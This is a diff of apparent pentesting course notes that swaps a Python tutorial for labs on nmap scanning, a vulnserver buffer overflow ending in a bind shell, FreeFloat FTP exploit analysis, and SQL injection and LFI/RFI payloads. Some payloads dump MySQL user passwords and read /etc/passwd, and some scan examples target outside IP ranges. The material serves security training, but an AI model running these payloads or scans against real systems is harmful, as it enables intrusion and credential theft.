1453 | + | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g' |
1454 | ------------------------------------------------------------------------ | |
1455 | ||
1456 | ||
1457 | - | Code |
1457 | + | |
1458 | ||
1459 | ||
1460 | - | f=open('file.txt', "r") |
1460 | + | |
1461 | - | import re |
1461 | + | ----------- ############### # Day 3: Software Exploitation # ############### ----------- |
1462 | - | str = f.read() |
1462 | + | |
1463 | - | result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str) |
1463 | + | |
1464 | - | print (result) |
1464 | + | |
1465 | # Scanning Methodology # | |
1466 | ######################## | |
1467 | - | Output: |
1467 | + | |
1468 | - | [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')] |
1468 | + | - Ping Sweep |
1469 | What's alive? | |
1470 | ------------ | |
1471 | ||
1472 | - | You can read html file using library urllib (see below code). |
1472 | + | ---------------------------Type this command----------------------------------- |
1473 | sudo nmap -sP 157.166.226.* | |
1474 | ------------------------------------------------------------------------------- | |
1475 | - | Code |
1475 | + | |
1476 | ||
1477 | ||
1478 | - | from urllib.request import urlopen |
1478 | + | -if -SP yields no results try: |
1479 | - | html = urlopen("http://www.google.com/") |
1479 | + | ---------------------------Type this command----------------------------------- |
1480 | - | print(html.read()) |
1480 | + | sudo nmap -sL 157.166.226.* |
1481 | ------------------------------------------------------------------------------- | |
1482 | - | NOTE: You can put any website URL that you want in the urllib2.urlopen('') |
1482 | + | |
1483 | ||
1484 | ||
1485 | -Look for hostnames: | |
1486 | ---------------------------Type this command----------------------------------- | |
1487 | sudo nmap -sL 157.166.226.* | grep cnn | |
1488 | - | ############# |
1488 | + | |
1489 | - | # Functions # |
1489 | + | |
1490 | - | ############# |
1490 | + | |
1491 | ||
1492 | - Port Scan | |
1493 | - | *********************** |
1493 | + | What's where? |
1494 | - | * What are Functions? * |
1494 | + | ------------ |
1495 | - | *********************** |
1495 | + | ---------------------------Type this command----------------------------------- |
1496 | sudo nmap -sS 162.243.126.247 | |
1497 | ------------------------------------------------------------------------------- | |
1498 | - | Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code. |
1498 | + | |
1499 | ||
1500 | - | How do you write functions in Python? |
1500 | + | |
1501 | - Bannergrab/Version Query | |
1502 | - | Python makes use of blocks. |
1502 | + | What versions of software are running |
1503 | ------------------------------------- | |
1504 | - | A block is a area of code of written in the format of: |
1504 | + | |
1505 | ---------------------------Type this command----------------------------------- | |
1506 | - | block_head: |
1506 | + | sudo nmap -sV 162.243.126.247 |
1507 | ------------------------------------------------------------------------------- | |
1508 | - | 1st block line |
1508 | + | |
1509 | ||
1510 | - | 2nd block line |
1510 | + | |
1511 | ||
1512 | - | ... |
1512 | + | - Vulnerability Research |
1513 | Lookup the banner versions for public exploits | |
1514 | ---------------------------------------------- | |
1515 | - | Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while". |
1515 | + | https://www.exploit-db.com/search |
1516 | http://securityfocus.com/bid | |
1517 | - | Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example: |
1517 | + | https://packetstormsecurity.com/files/tags/exploit/ |
1518 | ||
1519 | - | def my_function(): |
1519 | + | |
1520 | - | print("Hello From My Function!") |
1520 | + | |
1521 | Network Penetration Testing Process (known vulnerabilities) | |
1522 | ----------------------------------------------------------- | |
1523 | - | Functions may also receive arguments (variables passed from the caller to the function). For example: |
1523 | + | |
1524 | ||
1525 | - | def my_function_with_args(username, greeting): |
1525 | + | 1. Ping Sweep: |
1526 | - | print("Hello, %s , From My Function!, I wish you %s"%(username, greeting)) |
1526 | + | The purpose of this step is to identify live hosts |
1527 | ||
1528 | nmap -sP <ip-address/ip-range> | |
1529 | - | Functions may return a value to the caller, using the keyword- 'return' . For example: |
1529 | + | |
1530 | ||
1531 | - | def sum_two_numbers(a, b): |
1531 | + | 2. Port Scan |
1532 | - | return a + b |
1532 | + | Identify running services. We use the running services to map the network topology. |
1533 | ||
1534 | nmap -sS <ip-address/ip-range> | |
1535 | - | **************************************** |
1535 | + | |
1536 | - | * How do you call functions in Python? * |
1536 | + | |
1537 | - | **************************************** |
1537 | + | 3. Bannergrab |
1538 | Identify the version of version of software running on each port | |
1539 | - | Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example): |
1539 | + | |
1540 | nmap -sV <ip-address/ip-range> | |
1541 | - | # Define our 3 functions |
1541 | + | |
1542 | ||
1543 | - | def my_function(): |
1543 | + | |
1544 | - | print("Hello From My Function!") |
1544 | + | 4. Vulnerability Research |
1545 | Use the software version number to research and determine if it is out of date (vulnerable). | |
1546 | ||
1547 | exploit-db.com/search | |
1548 | ||
1549 | - | def my_function_with_args(username, greeting): |
1549 | + | |
1550 | - | print("Hello, %s , From My Function!, I wish you %s"%(username, greeting)) |
1550 | + | |
1551 | ||
1552 | ||
1553 | ||
1554 | ||
1555 | - | def sum_two_numbers(a, b): |
1555 | + | |
1556 | - | return a + b |
1556 | + | |
1557 | Skill Level 1. Run the scanners | |
1558 | ------------------------------- | |
1559 | Nexpose | |
1560 | - | Let's print(a simple greeting) |
1560 | + | Qualys |
1561 | Retina | |
1562 | Nessus known vulnerabilities | |
1563 | - | my_function() |
1563 | + | OpenVas |
1564 | Foundscan | |
1565 | GFI LanGuard | |
1566 | NCircle | |
1567 | - | Prints - "Hello, Joe, From My Function!, I wish you a great year!" |
1567 | + | |
1568 | ||
1569 | - | my_function_with_args("Joe", "a great year!") |
1569 | + | Skill Level 2. Manual vulnerability validation (known vulnerabilities) |
1570 | ----------------------------------------------------------------------- | |
1571 | ||
1572 | windows -> systeminfo | |
1573 | - | After this line x will hold the value 3! |
1573 | + | Linux-> dpkg -l |
1574 | rpm -qa | |
1575 | - | x = sum_two_numbers(1,2) |
1575 | + | |
1576 | - | x |
1576 | + | |
1577 | ||
1578 | ||
1579 | ||
1580 | ||
1581 | ||
1582 | - | ########################## |
1582 | + | |
1583 | - | # Python Lambda Function # |
1583 | + | # Quick Stack Based Buffer Overflow # |
1584 | - | ########################## |
1584 | + | |
1585 | ||
1586 | - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory) | |
1587 | - | Python allows you to create anonymous function i.e function having no names using a facility called lambda function. |
1587 | + | http://45.63.104.73/ExploitLab.zip |
1588 | ||
1589 | - | lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function. |
1589 | + | |
1590 | - Extract the ExploitLab.zip file to your Desktop | |
1591 | - | Let’s take an example: |
1591 | + | |
1592 | - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe | |
1593 | - | Consider a function multiply() |
1593 | + | |
1594 | - Open a new command prompt and type: | |
1595 | - | def multiply(x, y): |
1595 | + | |
1596 | - | return x * y |
1596 | + | |
1597 | nc localhost 9999 | |
1598 | -------------------------------------------------------------------------- | |
1599 | - | This function is too small, so let’s convert it into a lambda function. |
1599 | + | |
1600 | - In the new command prompt window where you ran nc type: | |
1601 | - | To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression. |
1601 | + | HELP |
1602 | ||
1603 | - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts | |
1604 | - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++ | |
1605 | - | >>> r = lambda x, y: x * y |
1605 | + | |
1606 | - | >>> r(12,3) |
1606 | + | - Now double-click on 1-simplefuzzer.py |
1607 | - | 36 |
1607 | + | - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on. |
1608 | ||
1609 | ||
1610 | - | Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to. |
1610 | + | - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on. |
1611 | ||
1612 | - | You don’t need to assign lambda function to a variable. |
1612 | + | - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe |
1613 | ||
1614 | - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py. | |
1615 | ||
1616 | - | >>> (lambda x, y: x * y)(3,4) |
1616 | + | - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s). |
1617 | - | 12 |
1617 | + | |
1618 | - Now isolate the crash by restarting your debugger and running script 2-3000chars.py | |
1619 | ||
1620 | - | Note that lambda function can’t contain more than one expression. |
1620 | + | - Calculate the distance to EIP by running script 3-3000chars.py |
1621 | - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338 | |
1622 | ||
1623 | 4-count-chars-to-EIP.py | |
1624 | - | ################## |
1624 | + | - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39) |
1625 | - | # Python Classes # |
1625 | + | - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it |
1626 | - | ################## |
1626 | + | |
1627 | 5-2006char-eip-check.py | |
1628 | - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242 | |
1629 | - | **************** |
1629 | + | |
1630 | - | * Introduction * |
1630 | + | 6-jmp-esp.py |
1631 | - | **************** |
1631 | + | - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll |
1632 | ||
1633 | - | Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs. |
1633 | + | 7-first-exploit |
1634 | - In this script we actually do the stack overflow and launch a bind shell on port 4444 | |
1635 | - | You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work. |
1635 | + | |
1636 | 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host. | |
1637 | ||
1638 | - | *********************** |
1638 | + | |
1639 | - | * Real World Examples * |
1639 | + | |
1640 | - | *********************** |
1640 | + | |
1641 | ||
1642 | ||
1643 | - | This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do. |
1643 | + | Skill Level 3. Identify unknown vulnerabilities |
1644 | ----------------------------------------------- | |
1645 | - | Start off by thinking about a web vuln scanner. |
1645 | + | |
1646 | - App Type | |
1647 | - | What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods. |
1647 | + | ------------ |
1648 | Stand Alone Client Server Web App | |
1649 | - | So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do. |
1649 | + | |
1650 | ***(vulnerserver.exe)*** | |
1651 | ||
1652 | - | ****************** |
1652 | + | |
1653 | - | * A Python Class * |
1653 | + | - Input TYpe |
1654 | - | ****************** |
1654 | + | ------------- |
1655 | FIle logical network port Browser | |
1656 | Keyboard | |
1657 | - | Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured. |
1657 | + | Mouse |
1658 | ||
1659 | ||
1660 | ||
1661 | - | class WebVulnScanner(object): |
1661 | + | ***(9999)*** |
1662 | - | make = 'Acunetix' |
1662 | + | |
1663 | - | model = '10.5' |
1663 | + | |
1664 | - | year = '2014' |
1664 | + | - Map & Fuzz app entry points: |
1665 | - | version ='Consultant Edition' |
1665 | + | |
1666 | - Commands ***(commands)*** | |
1667 | - | profile = 'High Risk' |
1667 | + | - Methods |
1668 | - Verbs | |
1669 | - functions | |
1670 | - | def crawling(self, speed): |
1670 | + | - subroutines |
1671 | - | print("Crawling at %s" % speed) |
1671 | + | - controllers |
1672 | ||
1673 | ||
1674 | - | def scanning(self, speed): |
1674 | + | - Isolate the crash |
1675 | - | print("Scanning at %s" % speed) |
1675 | + | ------------------- |
1676 | App seems to reliably crash at TRUN 2100 | |
1677 | ||
1678 | ||
1679 | - | Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes. |
1679 | + | - Calculate the distance to EIP |
1680 | ------------------------------- | |
1681 | - | From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different. |
1681 | + | Distance to EIP is 2006 |
1682 | ||
1683 | We found that EIP was populated with the value: 396F4338 | |
1684 | - | ***************** |
1684 | + | 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern |
1685 | - | * What is Self? * |
1685 | + | |
1686 | - | ***************** |
1686 | + | An online tool that we can use for this is: |
1687 | https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html | |
1688 | - | Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this. |
1688 | + | |
1689 | - | ################# Do not do this lab ################# |
1689 | + | |
1690 | ||
1691 | - Redirect Program Execution | |
1692 | - | print("Your %s is crawling at %s" % (self.model, speed)) |
1692 | + | |
1693 | A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction. | |
1694 | - | ################# end of lab that doesn't work ################# |
1694 | + | We learned that we control EAX and ESP in script 2. |
1695 | ||
1696 | - | It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright. |
1696 | + | |
1697 | ||
1698 | ||
1699 | - | ***************** |
1699 | + | |
1700 | - | * Using A Class * |
1700 | + | - Implement Shellcode |
1701 | - | ***************** |
1701 | + | |
1702 | There are only 2 things that can go wrong with shellcode: | |
1703 | - Not enough space | |
1704 | - | You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below. |
1704 | + | - Bad characters |
1705 | ||
1706 | ||
1707 | - | myscanner = WebVulnScanner() |
1707 | + | |
1708 | ||
1709 | ||
1710 | ||
1711 | - | That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on. |
1711 | + | |
1712 | # FreeFloat FTP Server Exploit Analysis # | |
1713 | - | Get your scanner object to print out its make and model. |
1713 | + | |
1714 | ||
1715 | ||
1716 | - | print("%s %s" % (myscanner.make, myscanner.model)) |
1716 | + | |
1717 | Analyze the following exploit code: | |
1718 | https://www.exploit-db.com/exploits/15689/ | |
1719 | - | The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables. |
1719 | + | |
1720 | 1. What is the target platform that this exploit works against? | |
1721 | 2. What is the variable name for the distance to EIP? | |
1722 | - | myscanner.scanning('10req/sec') |
1722 | + | 3. What is the actual distance to EIP in bytes? |
1723 | 4. Describe what is happening in the variable ‘junk2’ | |
1724 | ||
1725 | - | What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again. |
1725 | + | |
1726 | ||
1727 | ||
1728 | - | print("The profile of my scanner settings is %s" % myscanner.profile) |
1728 | + | Analysis of the training walk-through based on EID: 15689: |
1729 | - | myscanner.profile = "default" |
1729 | + | http://45.63.104.73/ff.zip |
1730 | - | print("The profile of my scanner settings is %s" % myscanner.profile) |
1730 | + | |
1731 | ||
1732 | ||
1733 | - | Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot. |
1733 | + | |
1734 | ff1.py | |
1735 | 1. What does the sys module do? | |
1736 | - | mynewscanner = WebVulnScanner() |
1736 | + | 2. What is sys.argv[1] and sys.argv[2]? |
1737 | - | print("The scanning profile of my new scanner is %s" % mynewscanner.profile) |
1737 | + | 3. What application entry point is being attacked in this script? |
1738 | ||
1739 | ||
1740 | - | That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from. |
1740 | + | |
1741 | ff2.py | |
1742 | 1. Explain what is happening in lines 18 - 20 doing. | |
1743 | 2. What is pattern_create.rb doing and where can I find it? | |
1744 | - | # The self variable in python explained # |
1744 | + | 3. Why can’t I just double click the file to run this script? |
1745 | ||
1746 | ||
1747 | - | So lets start by making a class involving the self variable. |
1747 | + | |
1748 | ff3.py | |
1749 | - | A simple class : |
1749 | + | 1. Explain what is happening in lines 17 - to 25? |
1750 | 2. Explain what is happening in lines 30 - to 32? | |
1751 | - | So here is our class: |
1751 | + | 3. Why is everything below line 35 commented out? |
1752 | ||
1753 | ||
1754 | - | class port(object): |
1754 | + | |
1755 | - | open = False |
1755 | + | ff4.py |
1756 | - | def open_port(self): |
1756 | + | 1. Explain what is happening in lines 13 to 15. |
1757 | - | if not self.open: |
1757 | + | 2. Explain what is happening in line 19. |
1758 | - | print("port open") |
1758 | + | 3. What is the total length of buff? |
1759 | ||
1760 | ||
1761 | ||
1762 | - | First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open. |
1762 | + | ff5.py |
1763 | 1. Explain what is happening in line 15. | |
1764 | - | Making a Port: |
1764 | + | 2. What is struct.pack? |
1765 | 3. How big is the shellcode in this script? | |
1766 | - | Now that we have made a class for a Port, lets actually make a port: |
1766 | + | |
1767 | ||
1768 | ||
1769 | - | x = port() |
1769 | + | ff6.py |
1770 | 1. What is the distance to EIP? | |
1771 | 2. How big is the shellcode in this script? | |
1772 | - | Now x is a port which has a property open and a function open_port. Now we can access the property open by typing: |
1772 | + | 3. What is the total byte length of the data being sent to this app? |
1773 | ||
1774 | ||
1775 | - | x.open |
1775 | + | |
1776 | ||
1777 | ff7.py | |
1778 | - | The above command is same as: |
1778 | + | 1. What is a tuple in python? |
1779 | 2. How big is the shellcode in this script? | |
1780 | 3. Did your app crash in from this script? | |
1781 | - | port().open |
1781 | + | |
1782 | ||
1783 | ||
1784 | - | Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example: |
1784 | + | |
1785 | ff8.py | |
1786 | 1. How big is the shellcode in this script? | |
1787 | - | >>> x = port() |
1787 | + | 2. What is try/except in python? |
1788 | - | >>> x.open |
1788 | + | 3. What is socket.SOCK_STREAM in Python? |
1789 | - | False |
1789 | + | |
1790 | - | >>> y = port() |
1790 | + | |
1791 | - | >>> y.open = True |
1791 | + | |
1792 | - | >>> y.open |
1792 | + | ff9.py |
1793 | - | True |
1793 | + | 1. What is going on in lines 19 and 20? |
1794 | - | >>> x.open |
1794 | + | 2. What is the length of the NOPs? |
1795 | - | False |
1795 | + | 3. From what DLL did the address of the JMP ESP come from? |
1796 | ||
1797 | ||
1798 | - | The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code. |
1798 | + | |
1799 | ||
1800 | ff010.py | |
1801 | 1. What is going on in lines 18 - 20? | |
1802 | - | class port(object): |
1802 | + | 2. What is going on in lines 29 - 32? |
1803 | - | open = False |
1803 | + | 3. How would a stack adjustment help this script? |
1804 | - | def open_port(this): |
1804 | + | |
1805 | - | if not this.open: |
1805 | + | |
1806 | - | print("port open") |
1806 | + | |
1807 | ||
1808 | ########################## | |
1809 | ----------- ############### # Day 4: Web App Testing ############### ----------- | |
1810 | ########################## | |
1811 | ||
1812 | ||
1813 | ||
1814 | ################################## | |
1815 | - | ############################################################### |
1815 | + | |
1816 | - | ----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### ----------- |
1816 | + | |
1817 | - | ############################################################### |
1817 | + | |
1818 | Most people are going to tell you reference the OWASP Testing guide. | |
1819 | https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents | |
1820 | ||
1821 | I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website. | |
1822 | ||
1823 | ||
1824 | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. | |
1825 | - | ################################################ |
1825 | + | |
1826 | - | # Python Penetration Testing—Application Layer # |
1826 | + | 1. Does the website talk to a DB? |
1827 | - | ################################################ |
1827 | + | - Look for parameter passing (ex: site.com/page.php?id=4) |
1828 | - If yes - try SQL Injection | |
1829 | ||
1830 | 2. Can I or someone else see what I type? | |
1831 | - If yes - try XSS | |
1832 | ||
1833 | 3. Does the page reference a file? | |
1834 | - If yes - try LFI/RFI | |
1835 | ||
1836 | Let's start with some manual testing against 45.63.104.73 | |
1837 | ||
1838 | ||
1839 | ####################### | |
1840 | # Attacking PHP/MySQL # | |
1841 | ####################### | |
1842 | ||
1843 | Go to LAMP Target homepage | |
1844 | https://phpapp.infosecaddicts.com/ | |
1845 | ||
1846 | ||
1847 | ||
1848 | Clicking on the Acer Link: | |
1849 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer | |
1850 | ||
1851 | - Found parameter passing (answer yes to question 1) | |
1852 | - | req = requests.request(method, 'Enter the URL’) |
1852 | + | - Insert ' to test for SQLI |
1853 | ||
1854 | ---------------------------Type This----------------------------------- | |
1855 | ||
1856 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' | |
1857 | ||
1858 | ----------------------------------------------------------------------- | |
1859 | ||
1860 | Page returns the following error: | |
1861 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1 | |
1862 | ||
1863 | ||
1864 | ||
1865 | In order to perform union-based sql injection - we must first determine the number of columns in this query. | |
1866 | We do this using the ORDER BY | |
1867 | ||
1868 | ---------------------------Type This----------------------------------- | |
1869 | ||
1870 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- + | |
1871 | ----------------------------------------------------------------------- | |
1872 | ||
1873 | Page returns the following error: | |
1874 | Unknown column '100' in 'order clause' | |
1875 | ||
1876 | ||
1877 | ---------------------------Type This----------------------------------- | |
1878 | ||
1879 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- + | |
1880 | ----------------------------------------------------------------------- | |
1881 | ||
1882 | - | After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’. |
1882 | + | |
1883 | Unknown column '50' in 'order clause' | |
1884 | ||
1885 | ||
1886 | ---------------------------Type This----------------------------------- | |
1887 | ||
1888 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- + | |
1889 | ----------------------------------------------------------------------- | |
1890 | ||
1891 | Page returns the following error: | |
1892 | Unknown column '25' in 'order clause' | |
1893 | ||
1894 | ||
1895 | ---------------------------Type This----------------------------------- | |
1896 | ||
1897 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- + | |
1898 | ----------------------------------------------------------------------- | |
1899 | ||
1900 | Page returns the following error: | |
1901 | Unknown column '12' in 'order clause' | |
1902 | ||
1903 | ||
1904 | ---------------------------Type This----------------------------------- | |
1905 | ||
1906 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- + | |
1907 | ----------------------------------------------------------------------- | |
1908 | ||
1909 | ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns | |
1910 | ||
1911 | ||
1912 | ||
1913 | Now we build out the union all select statement with the correct number of columns | |
1914 | ||
1915 | Reference: | |
1916 | http://www.techonthenet.com/sql/union.php | |
1917 | ||
1918 | ||
1919 | ---------------------------Type This----------------------------------- | |
1920 | ||
1921 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- + | |
1922 | ----------------------------------------------------------------------- | |
1923 | ||
1924 | ||
1925 | ||
1926 | Now we negate the parameter value 'acer' by turning into the word 'null': | |
1927 | ---------------------------Type This----------------------------------- | |
1928 | ||
1929 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j | |
1930 | ----------------------------------------------------------------------- | |
1931 | ||
1932 | We see that a 4 and a 5 are on the screen. These are the columns that will echo back data | |
1933 | ||
1934 | ||
1935 | Use a cheat sheet for syntax: | |
1936 | http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet | |
1937 | ||
1938 | ---------------------------Type This----------------------------------- | |
1939 | ||
1940 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j | |
1941 | ||
1942 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j | |
1943 | ||
1944 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- + | |
1945 | ||
1946 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- + | |
1947 | ||
1948 | ||
1949 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a | |
1950 | ||
1951 | ----------------------------------------------------------------------- | |
1952 | ||
1953 | ||
1954 | ||
1955 | ######################## | |
1956 | # Question I get a lot # | |
1957 | ######################## | |
1958 | Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string. | |
1959 | ||
1960 | Here is a good reference for it: | |
1961 | https://www.symantec.com/connect/blogs/mysql-injection-comments-comments | |
1962 | ||
1963 | Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter. | |
1964 | ||
1965 | ||
1966 | ||
1967 | ||
1968 | ######################### | |
1969 | # File Handling Attacks # | |
1970 | ######################### | |
1971 | ||
1972 | Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file) | |
1973 | ||
1974 | ---------------------------Type This----------------------------------- | |
1975 | ||
1976 | https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt | |
1977 | ||
1978 | ----------------------------------------------------------------------- | |
1979 | ||
1980 | - | #!/usr/bin/eve python3 |
1980 | + | |
1981 | See if you can read files on the file system: | |
1982 | ---------------------------Type This----------------------------------- | |
1983 | ||
1984 | https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd | |
1985 | ----------------------------------------------------------------------- | |
1986 | ||
1987 | We call this attack a Local File Include or LFI. | |
1988 | ||
1989 | Now let's find some text out on the internet somewhere: | |
1990 | https://www.gnu.org/software/hello/manual/hello.txt | |
1991 | ||
1992 | ||
1993 | Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI: | |
1994 | ||
1995 | ---------------------------Type This----------------------------------- | |
1996 | ||
1997 | https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt | |
1998 | ----------------------------------------------------------------------- | |
1999 | ||
2000 | ######################################################################################### | |
2001 | # SQL Injection # | |
2002 | # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx # | |
2003 | ######################################################################################### | |
2004 | ||
2005 | ||
2006 | - Another quick way to test for SQLI is to remove the paramter value | |
2007 | ||
2008 | ||
2009 | ############################# | |
2010 | # Error-Based SQL Injection # | |
2011 | ############################# | |
2012 | ---------------------------Type This----------------------------------- | |
2013 | ||
2014 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- | |
2015 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- | |
2016 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- | |
2017 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- | |
2018 | - | # Footprinting of a Web Application # |
2018 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
2019 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases | |
